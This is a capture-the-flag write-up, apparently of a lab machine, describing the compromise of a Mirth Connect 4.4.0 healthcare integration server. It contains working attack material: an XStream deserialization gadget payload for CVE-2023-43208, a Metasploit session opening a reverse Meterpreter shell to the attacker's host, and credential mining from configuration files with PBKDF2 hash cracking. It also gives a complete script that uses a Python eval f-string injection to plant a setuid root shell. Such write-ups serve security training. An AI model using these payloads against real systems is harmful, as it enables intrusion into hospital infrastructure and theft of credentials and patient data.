1 RECON

1.1 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Result:

ShellSession
PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDVuD7K78VPFJrRRqOF1sCo4+cr9vm+x+VG1KLHzsgeEp3WWH2MIzd0yi/6eSzNDprifXbxlBCdvIR/et0G0lKI=
|   256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILAfcF/jsYtk8PnokOcYPpkfMdPrKcKdjel2yqgNEtU3
80/tcp   open  http     syn-ack Jetty
| http-methods:
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: 62BE2608829EE4917ACB671EF40D5688
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/http syn-ack Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Issuer: commonName=Mirth Connect Certificate Authority
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-19T12:50:05
| Not valid after:  2075-09-19T12:50:05
| MD5:   c251:9050:6882:4177:9dbc:c609:d325:dd54
| SHA-1: 3f2b:a7d8:5c81:9ecf:6e15:cb6a:fdc6:df02:8d9b:1179
| http-methods:
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
6661/tcp open  unknown  syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Overview

  • 22/tcp — SSH
  • 80/tcp — HTTP (Jetty → Mirth Connect Administrator)
  • 443/tcp — HTTPS (Jetty → Mirth Connect Administrator)
  • 6661/tcp — Needed for Mrith

1.2 Web Applicaton

MIrth Connect webadmin interface:

When exposed to the internet, it is frequently game over.

Unlike typical web apps, Mirth's real power resides in the desktop administrator client (left side of the image), not the web UI (right).


2 WEB

2.1 Mirth Connect

Mirth Connect (now NextGen Connect) is an enterprise healthcare integration engine — built for HL7 processing, message routing, transformation pipelines, database connectors, and embedded scripting. In practice, it's a programmable middleware hub sitting in the center of hospital infrastructure.

2.1.1 Vulnerable Desgin

Java applications like this are risky by nature.

Image|471x216

Mirth processes healthcare messages through modular channels:

Flow
Input → Transformer → Filters → Destinations

Internally, each target system is modeled as a "Patient":

Image|471x162

At the core, it relies on the Java Transformer class to deserialize data into executable logic:

Image|471x334
Image|484x336

Each step can execute:

  • JavaScript
  • Java code via interop
  • File operations
  • Network calls
  • Database queries

In other words, the platform is already capable of running arbitrary logic by design.

2.1.2 Java Web Start Descriptor (JNLP)

From the web admin portal, the green button downloads a configuration file used to launch the Mirth Connect Administrator client:

XML
<jnlp codebase="https://interpreter.htb:443" version="4.4.0">

    <information>
        <title>Mirth Connect Administrator 4.4.0</title>
        [...snip...]
    </information>

    <security>
        <all-permissions/>
    </security>

    <resources>
        <j2se href="http://java.sun.com/products/autodl/j2se" max-heap-size="512m" version="1.6+"/>
        [...snip...]
        <jar download="eager" href="webstart/client-lib/mirth-client.jar" main="true" sha256="IHeDHNaFglz/afA4Osr3nllnqCMpsgo6RmrVTjbKBsA="/>
        [...snip...]
        <extension href="webstart/extensions/scriptfilestep.jnlp"/>
        <extension href="webstart/extensions/textviewer.jnlp"/>
        [...snip...]
    </resources>

    <application-desc main-class="com.mirth.connect.client.ui.Mirth">
        <argument>https://interpreter.htb:443</argument>
        <argument>4.4.0</argument>
    </application-desc>

</jnlp>

This Java-based application uses XML descriptors as launch initializers.

More importantly, the file exposes precise fingerprints:

Target = NextGen (Mirth) Connect 4.4.0

2.2 CVE-2023-43208

With a confirmed Mirth version, the next step is to hunt for known vulnerabilities.

Version 4.4.0 is affected by a critical Java deserialization flaw originally tracked as CVE-2023-37679. An incomplete fix later introduced a bypass, assigned CVE-2023-43208:

2.2.1 Deserialization RCE

CVE-2023-37679 is an unauthenticated remote code execution vulnerability caused by unsafe Java deserialization of attacker-controlled input exposed through an HTTP endpoint.

Mirth Connect provides REST APIs that accept XML payloads. Requests with Content-Type: application/xml are handled by a global JAX-RS provider, XmlMessageBodyReader, which deserializes the request body into Java objects before any servlet logic executes:

Java
@Provider
@Singleton
@Consumes(MediaType.APPLICATION_XML)
public class XmlMessageBodyReader implements MessageBodyReader<Object> {

    @Override
    public Object readFrom(Class<Object> type, Type genericType,
                           Annotation[] annotations, MediaType mediaType,
                           MultivaluedMap<String,String> headers,
                           InputStream entityStream) throws IOException {

        return ObjectXMLSerializer.getInstance()
                .deserialize(IOUtils.toString(entityStream, "UTF-8"), type);
    }
}

Deserialization is performed by ObjectXMLSerializer, which relies on the XStream library. Because XStream rebuilds object graphs directly from XML, attacker input can instantiate arbitrary classes during unmarshalling, enabling gadget-chain execution.

Authentication is normally enforced by the base class MirthServlet via initLogin(), which validates session or Basic credentials before protected actions proceed:

Java
public abstract class MirthServlet {

    public MirthServlet(HttpServletRequest request,
                        SecurityContext sc,
                        boolean initLogin) {

        if (initLogin) {
            initLogin();   // authentication check
        }
    }
}

However, several API servlets — including UserServlet, SystemServlet, and ConfigurationServlet — explicitly disable this protection by calling the parent constructor with initLogin=false:

Java
public class UserServlet extends MirthServlet {

    public UserServlet(@Context HttpServletRequest request,
                       @Context SecurityContext sc) {

        super(request, sc, false);   // auth disabled here
    }
}

Since XML deserialization occurs inside XmlMessageBodyReader before authentication is applied, requests to these endpoints can trigger object construction without credentials. Any authentication checks that follow are too late to stop exploitation.

Attack flow:

Flow
Unauthenticated XML request
XmlMessageBodyReader intercepts request
→ ObjectXMLSerializer → XStream unmarshalling
Gadget chain executes during deserialization
Remote code execution as Mirth service user

Example malicious XML payload:

XML
<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="java.lang.ProcessBuilder">
          <command>
            <string>bash</string>
            <string> -c</string>
            <string>{cmd}</string>
          </command>
        </target>
        <methodName>start</methodName>
        <eventTypes/>
      </handler>
    </dynamic-proxy>
</sorted-set>

More details: RCE in Mirth Connect - pt. I. (CVE-2023-37679) - vsociety

2.2.2 MetaSploit

CVE references show that RAPID7 provides a ready-to-use Metasploit module.

Start MSF and load the exploit:

axura @ labyrinth :~
msf > use exploit/multi/http/mirth_connect_cve_2023_43208
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/mirth_connect_cve_2023_43208) > options

Module options (exploit/multi/http/mirth_connect_cve_2023_43208):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5h
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8443             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested s
                                              hells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           192.168.53.129   yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   [...snip...]

Configure the target:

MSF
set RHOST interpreter.htb
set RPORT 443
set LHOST tun0
set LPORT 60001
set FETCH_COMMAND wget
run

Successful exploitation yields a Meterpreter session:

axura @ labyrinth :~
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOST interpreter.htb
RHOST => interpreter.htb
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set RPORT 443
RPORT => 443
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST tun0
LHOST => 10.10.16.24
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set LPORT 60001
LPORT => 60001
msf exploit(multi/http/mirth_connect_cve_2023_43208) > set FETCH_COMMAND wget
FETCH_COMMAND => WGET
msf exploit(multi/http/mirth_connect_cve_2023_43208) > run
[*] Started reverse TCP handler on 10.10.16.24:60001
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[+] The target appears to have executed the payload.
[*] Sending stage (3090404 bytes) to 10.129.132.254
[*] Meterpreter session 1 opened (10.10.16.24:60001 -> 10.129.132.254:47926) at 2026-02-21 19:16:54 -0800

meterpreter > getuid
Server username: mirth
meterpreter > sysinfo
Computer     : interpreter.htb
OS           : Debian 12.13 (Linux 6.1.0-43-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/usr/local/mirthconnect

Shell as the internal service account mirth.


3 USER

After obtaining a webroot shell, the next move is configuration mining — pulling credentials from service files.

3.1 Mirth Internal

To understand Mirth we can refer to its open Frequently Asked Questions · nextgenhealthcare/connect Wiki · GitHub.

3.1.1 Mirth Properties

Mirth (NextGen Connect) stores its primary server configuration in:

Path
<MIRTH_HOME>/conf/mirth.properties

From our current location /usr/local/mirthconnect, we can quickly zero in on it:

axura @ labyrinth :~
meterpreter > ls /usr/local/mirthconnect/conf/
Listing: /usr/local/mirthconnect/conf/
======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100755/rwxr-xr-x  1438  fil   2023-07-18 10:46:18 -0700  dbdrivers.xml
100755/rwxr-xr-x  2229  fil   2025-09-19 05:49:58 -0700  log4j2.properties
100755/rwxr-xr-x  4848  fil   2026-02-21 13:28:41 -0800  mirth.properties

The configuration file mirth.properties reads:

INI
# Mirth Connect configuration file

# directories
dir.appdata = /var/lib/mirthconnect
dir.tempdata = ${dir.appdata}/temp

[...snip...]

# keystore
keystore.path = ${dir.appdata}/keystore.jks
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
keystore.type = JCEKS

[...snip...]

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.driver = org.mariadb.jdbc.Driver

# database credentials
database.username = mirthdb
database.password = MirthPass123!

[...snip...]

3.1.2 Keystore Credentials

The file exposes credentials for the server's Java keystore:

INI
keystore.path = /var/lib/mirthconnect/keystore.jks
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
keystore.type = JCEKS

This keystore holds TLS certificates and private keys used by the service. With these secrets, an attacker could extract cryptographic material and potentially impersonate the server.

Useless in this box.

3.1.3 MySQL

The same configuration also reveals database access:

  • Database engine: MariaDB/MySQL
  • Host: localhost
  • Database name: mc_bdd_prod
  • Credentials: mirthdb : MirthPass123!

This grants direct access to the Mirth backend database, including user records and password hashes.

Connect:

Bash
mysql -u mirthdb -p mc_bdd_prod

Read password table:

axura @ labyrinth :~
mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p mc_bdd_prod
mysql -u mirthdb -p mc_bdd_prod
Enter password: MirthPass123!

MariaDB [mc_bdd_prod]> SHOW TABLES;
SHOW TABLES;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+
21 rows in set (0.001 sec)

MariaDB [mc_bdd_prod]> SELECT ID, USERNAME FROM PERSON;
SELECT ID, USERNAME FROM PERSON;
+----+----------+
| ID | USERNAME |
+----+----------+
|  2 | sedric   |
+----+----------+
1 row in set (0.001 sec)

MariaDB [mc_bdd_prod]> SELECT * FROM PERSON_PASSWORD;
SELECT * FROM PERSON_PASSWORD;
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD                                                 | PASSWORD_DATE       |
+-----------+----------------------------------------------------------+---------------------+
|         2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.001 sec)

We now possess a legitimate Mirth credential hash.

3.2 Mirth Password Hashes

Mirth documentation (Default Digest Algorithm in Mirth® Connect 4.4) notes that newer releases switched the default password hashing from SHA-256 to PBKDF2WithHmacSHA256.

We can confirm the exact parameters in Digester.java:

Java
DEFAULT_SALT_SIZE = 8
DEFAULT_ITERATIONS = 600000
DEFAULT_KEY_SIZE_BITS = 256

algorithm = "PBKDF2WithHmacSHA256"
usePBE = true
format = BASE64

Meaning:

  • Hash algorithm: PBKDF2-HMAC-SHA256
  • Salt: 8 random bytes
  • Iterations: 600,000
  • Output key: 256 bits (32 bytes)
  • Stored as Base64

First, inspect the raw binary after Base64 decoding:

axura @ labyrinth :~
$ echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | wc -c
40
$ echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd -g1
00000000: bb ff 8b 04 13 94 9d a7 62 c8 50 6c 30 ea 08 0c  ........b.Pl0...
00000010: f2 db 51 1d 2b 93 9f 64 12 43 d4 d7 b8 ad 76 b5  ..Q.+..d.C....v.
00000020: 56 03 f9 0b 32 dd f0 fb                          V...2...

Total length is 40 bytes:

PBKDF2 Hash
[8-byte salt][32-byte hash]

Split them with a quick Python snippet:

Python
import base64  
b = base64.b64decode("u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==")  
print("len:", len(b))  
print("salt:", b[:8].hex())  
print("dk :", b[8:].hex())

Output:

Output
len: 40
salt: bbff8b0413949da7
dk : 62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb

From Hacktag we can find multiple PBKDF2 cracking examples:

For instance, using a Python brute-force script from the Compiled writeup, adjusted for these parameters:

Python
import base64
import hashlib
from pwn import log

target_b64 = "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=="

data = base64.b64decode(target_b64)

salt = data[:8]
target_dk = data[8:]

iterations = 600000
dklen = 32


def pbkdf2(password):
    return hashlib.pbkdf2_hmac("sha256", password.encode(), salt, iterations, dklen)


wordlist = "/home/Axura/wordlists/rockyou.txt"

bar = log.progress("Cracking PBKDF2")

with open(wordlist, errors="ignore") as f:
    for line in f:
        pwd = line.strip()
        dk = pbkdf2(pwd)
        bar.status(f"Trying: {pwd}")
        if dk == target_dk:
            bar.success(f"Password found: {pwd}")
            break
    else:
        bar.failure("Not found")

Alternatively, format the hash for Hashcat (mode 10900 for PBKDF2-HMAC-SHA256) according to Hashcat Examples.

Both approaches recover the password within minutes:

axura @ labyrinth :~
$ python pbkdf2.py
[+] Cracking PBKDF2: Password found: snowflake1

Test the credential with the corresponding username sedric over SSH:

axura @ labyrinth :~
$ ssh [email protected]
[email protected]'s password:
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb 22 02:45:47 2026 from 10.10.16.24
sedric@interpreter:~$ id
uid=1000(sedric) gid=1000(sedric) groups=1000(sedric)
sedric@interpreter:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .lesshst  .local  .mysql_history  .profile  .python_history  user.txt  .viminfo
sedric@interpreter:~$ cat user.txt
c*****************************6

User flag secured.


4 ROOT

4.1 Internal Enumeration

Run LinPEAS for internal enumeration:

ShellSession
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root        3498  0.0  0.7  39872 31024 ?        Ss   01:04   0:02 /usr/bin/python3 /usr/local/bin/notif.py

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
══╣ Active Ports (ss)
tcp   LISTEN 0      256          0.0.0.0:6661       0.0.0.0:*
tcp   LISTEN 0      50           0.0.0.0:443        0.0.0.0:*
tcp   LISTEN 0      80         127.0.0.1:3306       0.0.0.0:*
tcp   LISTEN 0      50           0.0.0.0:80         0.0.0.0:*
tcp   LISTEN 0      128        127.0.0.1:54321      0.0.0.0:*
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*
tcp   LISTEN 0      128             [::]:22            [::]:*

╔══════════╣ Checking all env variables in /proc/*/environ removing duplicates and filtering out useless env vars
NOTIFY_SOCKET=/run/systemd/notify
NOTIFY_SOCKET=/run/user/1000/systemd/notify

Everything points to a suspicious Python script:

Path
/usr/local/bin/notif.py

Root is running a custom script in /usr/local/bin (not system package), which is readable by normal users.

4.2Code Review

4.2.1 Source

The suspicious root-run Python script notif.py contains:

Python
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

The docstring makes the intent clear:

"Notification server for added patients… takes data interpreted from HL7 to XML by MirthConnect"

So this is designed as a local integration helper for Mirth.

4.2.2 Workflow Analysis

4.2.2.1 Network Surface

The service is bound to localhost and rejects non-local clients:

Python
if request.remote_addr != "127.0.0.1":
    abort(403)

app.run("127.0.0.1", 54321, threaded=True)

So we either talk to it locally, or tunnel traffic in.

4.2.2.2 addPatient API

Python
@app.route("/addPatient", methods=["POST"])
def receive():

This is the only exposed API endpoint we can interact with the service.

4.2.2.3 XML Input

It accepts the raw request body and parses it as XML:

Python
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)

There's no schema validation, so any well-formed XML will be processed.

Expected structure:

XML
<patient>
  <firstname>...</firstname>
  <lastname>...</lastname>
  <sender_app>...</sender_app>
  <timestamp>...</timestamp>
  <birth_date>...</birth_date>
  <gender>...</gender>
</patient>

<patient> may also be nested under another root tag.

4.2.2.4 Field Extraction

Python
data = {tag: (patient.findtext(tag) or "")
        for tag in ["firstname","lastname","sender_app",
                    "timestamp","birth_date","gender"]}

Every field becomes a string (empty if missing).

4.2.2.5 Write Primitive

The server generates a notification string via template():

Python
notification = template(...)

The result is then written to disk:

Path
path = /var/secure-health/patients/<uuid>.txt

The target directory resides under a restricted root-owned path:

axura @ labyrinth :~
sedric@interpreter:~$ ls -l /var/secure-health/patients/
ls: cannot access '/var/secure-health/patients/': Permission denied
sedric@interpreter:~$ ls -l /var/secure-health/
ls: cannot open directory '/var/secure-health/': Permission denied
sedric@interpreter:~$ ls -l /var/
total 40
drwxr-xr-x  3 root root  4096 Feb 16 16:21 backups
drwxr-xr-x 11 root root  4096 Aug 11  2025 cache
drwxr-xr-x 28 root root  4096 Feb 12 08:43 lib
drwxrwsr-x  2 root staff 4096 May  9  2025 local
lrwxrwxrwx  1 root root     9 Aug  7  2025 lock -> /run/lock
drwxr-xr-x 10 root root  4096 Feb 22 01:04 log
drwxrwsr-x  2 root mail  4096 Aug  7  2025 mail
drwxr-xr-x  2 root root  4096 Aug  7  2025 opt
lrwxrwxrwx  1 root root     4 Aug  7  2025 run -> /run
drwx------  3 root root  4096 Sep 19 09:29 secure-health
drwxr-xr-x  5 root root  4096 Feb 11 05:49 spool
drwxrwxrwt  4 root root  4096 Feb 22 01:22 tmp

So we get a strong write primitive as root user.

4.2.2.6 Eval Entry

Function template() contains the critical logic governing how user input is transformed into output, and more – code execution.

Input validation is a single regex:

Python
pattern = r"^[a-zA-Z0-9._'\"(){}=+/]+$"

Allowed characters:

  • Letters and digits
  • . _ ' " ( ) { } = + /

Blocked (by omission):

  • Spaces
  • Commas
  • Brackets []
  • Colons :
  • Semicolons ;
  • Backslashes
  • Most shell metacharacters

Template construction:

Python
template = f"""
Patient {first} {last} ({gender}),
{{datetime.now().year - year_of_birth}} years old,
received from {sender} at {ts}
"""

Then it dynamically evaluates the result:

Python
return eval(f"f'''{template}'''")

This is the core bug: the server builds a new f-string and runs it through eval(). Any {...} sequence that survives into the final template becomes executable Python during evaluation.

In other words:

User input → inserted into template → interpreted as Python code → executed.

4.2.3 Full Request Lifecycle

Flow
Local HTTP POST

XML parsed

Fields extracted

Regex validation

String template built

eval() executes f-string

Output written to file

Response returned

4.3 Python F-String Injection

4.3.1 Vulnerability Analysis

The box runs a root-privileged local Flask service with an /addPatient endpoint that consumes XML from Mirth Connect.

The core issue is that user-controlled fields are embedded into an f-string that gets executed via eval():

Python
return eval(f"f'''{template}'''")

So the output isn't just formatted — it's re-parsed as Python.

Inside the notification string, multiple fields come straight from XML:

Python
Patient {first} {last} {gender} {year_of_birth} {sender} {ts}

Only birth_date is sanity-checked for a DD/MM/YYYY shape. Everything else is "free-form" except a permissive regex gate.

That means any field that contains:

Python
{python_expression}

will be evaluated when eval() runs the final f-string.

In short:

XML field → injected into template → re-interpreted as an f-string → executed as Python (under root).

4.3.2 PoC

Service details (local-only):

  • Listener: 127.0.0.1:54321
  • Endpoint: /addPatient
  • Method: POST
  • Content-Type: application/xml
  • Client: wget

Input filter allows:

Python
<letters> <digits> . _ ' " ( ) { } = + /

Enough to construct a Python f-string injection payload like:

Python
{__import__("os").popen("id").read()}

Therefore we can prove our concept with a well crafted XML:

Bash
cat > poc.xml << 'EOF'
<patient>
  <timestamp>0</timestamp>
  <sender_app>SmirthConnect</sender_app>
  <firstname>{__import__("os").popen("id").read()}</firstname>
  <lastname>Axura</lastname>
  <birth_date>01/01/1970</birth_date>
  <gender>M</gender>
</patient>
EOF

Send request to the /addPatien endpoint:

Bash
wget -qO- \
  --header="Content-Type: application/xml" \
  --post-file=poc.xml \
  http://127.0.0.1:54321/addPatient

Jackpot:

axura @ labyrinth :~
sedric@interpreter:/tmp$ cat > poc.xml << 'EOF'
<patient>
  <timestamp>0</timestamp>
  <sender_app>SmirthConnect</sender_app>
  <firstname>{__import__("os").popen("id").read()}</firstname>
  <lastname>Axura</lastname>
  <birth_date>01/01/1970</birth_date>
  <gender>M</gender>
</patient>
EOF
sedric@interpreter:/tmp$ wget -qO- \
  --header="Content-Type: application/xml" \
  --post-file=poc.xml \
  http://127.0.0.1:54321/addPatient
Patient uid=0(root) gid=0(root) groups=0(root)
 Axura (M), 56 years old, received from SmirthConnect at 0

4.3.3 Exploit

With f-string injection confirmed, exploitation is just turning "Python execution" into a reliable root primitive.

A straightforward idea is to execute a command that drops a setuid root shell, e.g.:

Python
{__import__("os").popen("install -o root -m 4755 /bin/bash /tmp/.sh").read()}

However, the regex filter blocks whitespace, so payloads that rely on normal shell syntax won't survive as-is.

There're hundreds of ways to bypass the restriction.

The usual workaround is to carry the command in an encoded form and decode it at runtime.

Conceptually:

Python
# Conceptual flow (pseudocode)

cmd = "<command that contains spaces>"
enc_cmd = base64(cmd)

__import__("os").popen(
    __import__("base64").b64decode(enc_cmd).decode()
).read()

Final exploit scrtip that sends the request embeded with the XML payload:

Bash
#!/bin/bash

# Command to execute 
CMD='install -o root -m 4755 /bin/bash /tmp/.sh'

# Base64 encode 
ENC_CMD=$(printf '%s' "$CMD" | base64 -w0)

# Python payload 
PAYLOAD="{__import__(\"os\").popen(__import__(\"base64\").b64decode(\"${ENC_CMD}\").decode()).read()}"

# Build XML
cat > /tmp/xpl.xml << EOF
<patient>
<timestamp>0</timestamp>
<sender_app>SmirthConnect</sender_app>
<firstname>${PAYLOAD}</firstname>
<lastname>Axura</lastname>
<birth_date>01/01/1970</birth_date>
<gender>M</gender>
</patient>
EOF

# Send request 
wget -qO- \
  --header="Content-Type: application/xml" \
  --post-file=/tmp/xpl.xml \
  http://127.0.0.1:54321/addPatient

printf "\n[+] If successful, run: /tmp/.sh -p\n\n"

Rooted:

axura @ labyrinth :~
sedric@interpreter:/tmp$ bash xpl.sh
Patient  Axura (M), 56 years old, received from SmirthConnect at 0
[+] If successful, run: /tmp/.sh -p

sedric@interpreter:/tmp$ /tmp/.sh -p
.sh-5.2# id
uid=1000(sedric) gid=1000(sedric) euid=0(root) groups=1000(sedric)
.sh-5.2# cat /root/root.txt
0**********************************d